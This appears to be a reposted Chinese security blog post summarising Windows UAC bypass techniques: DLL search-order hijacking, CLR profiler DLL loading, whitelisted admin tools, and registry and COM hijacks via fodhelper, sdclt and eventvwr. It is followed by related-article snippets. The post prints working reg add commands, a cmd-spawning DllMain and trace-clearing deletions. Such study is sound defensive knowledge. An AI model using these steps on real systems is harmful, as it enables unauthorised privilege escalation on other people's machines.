<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    干貨|Bypass UAC 技術總結

    VSole2021-08-15 07:27:06

    一. UAC

    用戶帳戶控制(User Account Control,簡寫作UAC)是微軟公司在其[Windows Vista](https://baike.baidu.com/item/Windows Vista)及更高版本操作系統中采用的一種控制機制,保護系統進行不必要的更改,提升操作系統的穩定性和安全性。

    管理員在正常情況下是以低權限運行任務的,這個狀態被稱為被保護的管理員。但當管理員要執行高風險操作(如安裝程序等),就需要提升權限去完成這些任務。這個提升權限的過程通常是這樣的,相信各位都眼熟過。

    點擊“是”,管理員就會提升到高權限再去運行該任務。

    二. autoElevate與requestedExecutionLevel

    autoElevate

    當某個EXE文件的文件清單里有 元素時,當執行該文件時會默認提權執行。

    我們劫持該exe文件的dll,可以達到Bypass UAC提權的目的。

    適用范圍:管理員權限以獲得,要得到高權限管理員權限

    一般用工具sigcheck檢測

    網上常拿C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe 舉列子

    這個東西很有用,是下面部分方法的前提條件

    requestedExecutionLevel

    有三個不同的參數:asInvoker requireAdministrator highestAvailable 分別對應應用程序以什么權限運行

    asInvoker:父進程是什么權限,此應用程序就是什么權限

    requireAdministrator:需要以管理員權限來運行,此類應用程序圖標右下方會有個盾牌標記

    highestAvailable:此程序以當前用戶能獲取到的最高權限運行。當你在管理員賬戶下運行此程序就會要求權限提升以及彈出UAC框。當你在標準賬戶下運行此程序,由于此賬戶的最高權限就是標準賬戶,所以雙擊便運行

    三. 白名單程序

    除了剛剛說的autoelevate,還有一類叫白名單程序的應用程序也是打開默認提權的。如服務管理工具下的許多應用都屬于白名單程序,而其中又有些程序執行時需要依賴CLR支持(如事件查看器,任務計劃程序)

    四. Bypass UAC

    1. DLL劫持

    reference:https://www.anquanke.com/post/id/209033

    https://www.cnblogs.com/0daybug/p/11719541.html

    exe文件運行時會加載許多dll文件,這些dll文件的加載順序是

    • 程序所在目錄
    • 系統目錄即SYSTEM32目錄
    • 16位系統目錄即SYSTEM目錄
    • Windows目錄
    • 程序加載目錄(SetCurrentDirecctory)
    • PATH環境變量中列出的目錄
    • 同時,dll加載也遵循著Know DLLs注冊表項的機制:Know DLLs注冊表項指定的DLL是已經被操作系統加載過后的DLL,不會被應用程序搜索并加載。在注冊表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLS處可以看見這些dll

    在knowdlls表項中的dll是預先就加載進內存空間的,被諸多應用調用著,改動需要高權限。

    如果我們在應用程序找到正確的dll之前,將我們自己創造的dll放入優先級更高的搜索目錄讓應用程序優先加載此dll文件,這就造成了dll劫持。但這只是dll劫持的其中一種途徑,他有這些途徑:

    (1) DLL替換:用惡意的DLL替換掉合法的DLL

    (2) DLL搜索順序劫持:當應用程序加載DLL的時候,如果沒有帶指定DLL的路徑,那么程序將會以特定的順序依次在指定的路徑下搜索待加載的DLL。通過將惡意DLL放在真實DLL之前的搜索位置,就可以劫持搜索順序,劫持的目錄有時候包括目標應用程序的工作目錄。

    (3) 虛擬DLL劫持:釋放一個惡意的DLL來代替合法應用程序加載的丟失/不存在的DLL

    (4) DLL重定向:更改DLL搜索的路徑,比如通過編輯%PATH%環境變量或 .exe.manifest/.exe.local文件以將搜索路徑定位到包含惡意DLL的地方。

    (5) WinSxS DLL替換:將目標DLL相關的WinSxS文件夾中的惡意DLL替換為合法的DLL。此方法通常也被稱為DLL側加載

    (6) 相對路徑DLL劫持:將合法的應用程序復制(并有選擇地重命名)與惡意的DLL一起放入到用戶可寫的文件夾中。在使用方法上,它與(簽名的)二進制代理執行有相似之處。它的一個變體是(有點矛盾地稱為)“自帶LOLbin”,其中合法的應用程序帶有惡意的DLL(而不是從受害者機器上的合法位置復制)。

    實踐出真知1

    這里我們先用第一種方法來進行實驗,實驗對象是C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe和Listary。Listary是一個很好用的檢索小工具,我通過processmonitor,設置好過濾條件,查看SystemPropertiesAdvanced.exe調用的dll時發現它會調用一個Listary下的一個名為ListaryHook.dll的dll。

    由于listary目錄權限不高,我們可以直接替換該dll,換成dllmain為打開cmd的dll。然后點擊運行SystemPropertiesAdvanced.exe,就會發現會彈出高權限cmd窗口

    bypassuac成功。當然這種都不能算是一個洞,listary并不是人人電腦上都有的,而且這個軟件裝機量應該是極少數少的,所以這里只是提供一個思路,這種洞該怎么去找。

    實踐出真知2

    這里使用第三種方法進行實驗,實驗對象是eventvwr.msc,它是管理工具中的事件查看器,它依賴于mmc.exe來運行。比如,你想運行它,就得通過mmc eventvwr.msc來運行它,并且在process exploer中只能看到個mmc.exe。

    我們process monitor設置過濾如下

    cmd運行 mmc eventvwr.msc,查看調用

    dll搜索順序確實是 程序目錄->SYSTEM32->SYSTEM->WINDOWS->當前目錄(這里也是SYSTEM32目錄,我認為的原因是mmc會自動提升權限導致當前目錄為System32導致的)->PATH目錄。

    我們只需在可寫目錄下植入名為elsext.dll的惡意dll,處理好dll的dllmain函數,就能讓dllmain里的指令被高權限執行

    但是無奈我這里環境是win7 sp1,但是這個洞7600才出現,所以復現不了了。但大概思路就是這樣的

    2. CLR加載任意DLL

    CLR是微軟為.net運行時提供的環境,像java的虛擬機一樣,而clr有一個Profiling機制。這個機制簡而言之便是可以給CLR提供一個dll,當任何高權限.NET運行時都會主動加載該DLL,我們可以構造惡意dll給CLR加載,從而獲得高權限的進程如cmd,從而bypassuac。

    至于這個dll如何給CLR,是通過修改以下環境變量實現的

    COR_ENABLE_PROFILING = 1
    
    COR_PROFILER={CLSIDor ProgID}
    

    CLR會檢查環境變量中的COR_ENABLE_PROFILING,若為1則檢查通過,進行下一步。

    在net4.0以前,若檢查通過,會馬上去查找COR_PROFILER指定的注冊表項,找到其dll路徑并加載

    net4.0后,會先查找COR_PROFILER_PATH是否指定dll文件路徑,若沒有再去查找COR_PROFILER指定的注冊表項,找到其dll路徑并加載。

    總而言之,我們設置好COR_ENABLE_PROFILING和COR_PROFILER兩個項就可以了。

    接下來我們設置用戶環境變量,設置用戶環境變量時不需要高權限(win10似乎設置系統環境變量也不需要)。

    以及在注冊表,在指定的CLSID屬性下新建Inprocserver32項,并寫入惡意dll路徑. 然后通過mmc調用一下gpedit.msc這種程序,即可以高權限執行dll。如果dll執行命令為system(“cmd.exe”) 那么就會蹦出來高權限cmd窗口

    REG ADD "HKCU\Software\Classes\CLSID\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}\InprocServer32" /ve /t REG_EXPAND_SZ /d "C:\test\calc.dll" /f
    REG ADD "HKCU\Environment" /v "COR_PROFILER" /t REG_SZ /d "{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}" /f
    REG ADD "HKCU\Environment" /v "COR_ENABLE_PROFILING" /t REG_SZ /d "1" /f
    mmc gpedit.msc
    

    但我死活復現不起不知道為啥,我的dll這樣寫的

    // dllmain.cpp : 定義 DLL 應用程序的入口點。
    #include "pch.h"
    #include 
    #include 
    
    BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
    {
        char cmd[] = "cmd.exe";
    
        switch (fdwReason)
        {
        case DLL_PROCESS_ATTACH:
            WinExec(cmd, SW_SHOWNORMAL);
            ExitProcess(0);
            break;
        case DLL_THREAD_ATTACH:
            break;
        case DLL_THREAD_DETACH:
            break;
        case DLL_PROCESS_DETACH:
            break;
        }
        return TRUE;
    }
    

    另外的,你還可以為COR_PROFILER_PATH設置為如\\server\share\test.dll的smb的路徑,這樣也可以實現bypassuac(沒復現)

    3. 白名單程序

    odbcad32.exe

    這個方法很簡單。打開C:\Windows\system32\odbcad32.exe,然后通過以下方法打開powershell或者cmd

    成功bypass

    管理工具

    之前說過,管理工具有很多白名單程序,如果一個白名單程序有瀏覽文件目錄的功能,就可以以此來創建高權限cmd窗口。這里拿事件查看器舉例

    操作-》打開保存的目錄-》文件目錄路徑處輸入powershell-》彈出高權限powershell 以此內推,還有很多相似的管理工具可以這樣利用

    4. 注冊表劫持

    Fodhelper.exe

    Fodhelper.exe win10才有,所以只有win10能通過這個辦法bypassuac,他是一個autoelevate元素程序

    我們使用proceemonitor查看事件查看器啟動的時候執行了什么。我們通過排查發現了此處

    發現程序試圖打開HKCU\Software\Classes\ms-settings\shell\open\command,但是這個項沒有找到,因為這個項并不存在,于是它查詢 HKCR\ms-settings\Shell\Open,查詢成功便打開其下的Command鍵進行查詢。

    我們可以劫持注冊表,往HKCU\Software\Classes\ms-settings\shell\open\command寫入惡意指令從而達到bypassuac的目的。

    reg add HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command /d C:\Windows\System32\cmd.exe /f 
    reg add HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command /v DelegateExecute /t REG_DWORD /d 00000000 /f
    

    我們寫入如下命令,就能讓Fodhelper.exe 執行時自動高權限執行cmd窗口了

    然后消除痕跡

    reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command"
    

    sdclt

    Win10后這個程序才有自動提升權限的能力

    reg add "HKCU\Software\Classes\Folder\shell\open\command" /d C:\Windows\System32\cmd.exe /f 
    reg add "HKCU\Software\Classes\Folder\shell\open\command" /v "DelegateExecute" /f
    
    

    eventvmr

    reg add "HKCU\Software\Classes\mscfile\shell\open\command" /d C:\Windows\System32\cmd.exe /f
    

    win10,win7均無效,不知道是哪個版本的事了,反正記錄下來吧。

    5. COM劫持

    和dll劫持類似,應用程序在運行時也會去加載指定CLSID的COM組件,其加載順序如下

    HKCU\Software\Classes\CLSID
    HKCR\CLSID
    HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Objects\
    

    以eventvwr為例

    執行該程序時會去尋找{0A29FF9E-7F9C-4437-8B11-F424491E3931}這個組件,這個組件又需要加載InProcServer32指定的DLL,而這個DLL的路徑可由用戶定義。

    而eventvwr的這個組件一般在HKCR\CLSID找到,所以可以搜索路徑劫持。

    利用以下方法可以劫持(搜索路徑劫持)

    reg add HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InProcServer32 /v "" /t REG_SZ /d "d:\msf_x64.dll" /f 
    
    reg add HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InProcServer32 /v "LoadWithoutCOM" /t REG_SZ /d "" /f 
    
    reg add HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InProcServer32 /v "ThreadingModel" /t REG_SZ /d "Apartment" /f 
    
    reg add HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\ShellFolder /v "HideOnDesktop" /t REG_SZ /d "" /f 
    
    reg add HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\ShellFolder /v "Attributes" /t REG_DWORD /d 0xf090013d /f
    

    6. 利用com接口

    ICMLuaUtil

    五. UACME

    一個開源項目,記錄了許多Bypassuac的方法。

    https://github.com/hfiref0x/UACME/tree/v3.2.x

    作者:ConsT27
    原文鏈接:
    https://www.const27.com
    注冊表dll劫持
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    COM劫持實戰演示
    2021-10-19 09:40:38
    com劫持前面說了這么多的基礎知識來到今天的正文,首先要了解com組件的加載過程
    一個以前未曾報道過的網絡間諜框架,我們將其命名為Ramsay,他是專門用于收集和泄露敏感文檔,并且能夠在對氣隙網絡中運行。 我們最初在VirusTotal中找到了Ramsay的實例。該樣本是從日本上傳的,并導致我們發現了該...
    動態鏈接庫的方式以及Windows API指示使用它們的方式都可以用作任意代碼執行的接口,并協助惡意行為者實現其目標。DLL主要用于在系統上的應用程序和進程之間共享此內容,以便在為Windows創建應用程序時為程序員提供高度的靈活性。這意味著,如果DLL包含任何異常,則不會為調用EXE提供任何保護。這些函數接收一個路徑參數,該參數導致所請求的DLL,并向調用過程返回模塊的句柄。
    紅隊人員拿到一臺主機權限后首先會考慮將該機器作為一個持久化的據點,種植一個具備持久化的后門,就需要用到權限維持
    DLL(Dynamic Link Library)文件為動態鏈接庫文件,又稱“應用程序拓展”,是軟件文件類型。在Windows中,許多應用程序并不是一個完整的可執行文件,它們被分割成一些相對獨立的動態鏈接庫,即DLL文件。
    DLL劫持思路和研究
    2021-10-25 10:13:22
    基礎知識DLL文件為動態鏈接庫文件,又稱“應用程序拓展”,是軟件文件類型。在Windows中,許多應用程序并不是一個完整的可執行文件,它們被分割成一些相對獨立的動態鏈接庫,即DLL文件。在這種利用場景下,偽造的DLL文件不需要存在任何導出函數即可被成功加載,即使加載后進程內部出錯,也是在DLL被成功加載之后的事情。
    C:\Users\dyy\AppData\Local\Programs\Python\Python38\Scripts\oci.dll使用 cs 生成惡意 dll,重命名為?后放置到該目錄下手動挖掘Process Monitor 查找可用 dll,設置如下圖所示配置完可以保存導出配置,下次直接導入使用使用?進行測試,運行程序 filter 加載所使用的 dll 文件這里可以看出來,當?文件編寫一個基礎的彈窗 dllJAVA1. // dllmain.cpp : 定義 DLL 應用程序的入口點。CS 上線cs 生成 c 的 payload生成的?填入到下面相應的位置上CPP1
    DLL劫持的防御策略
    一個應用程序運行時可能需要依賴于多個 dll 的函數才能完成功能,如果控制其中任一dll,那么便可以控制該應用程序的執行流程。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类